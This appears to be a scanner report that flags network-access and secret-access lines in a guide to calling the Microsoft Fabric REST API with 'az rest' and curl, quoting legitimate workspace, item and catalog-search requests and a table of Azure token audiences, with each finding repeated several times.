    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 229
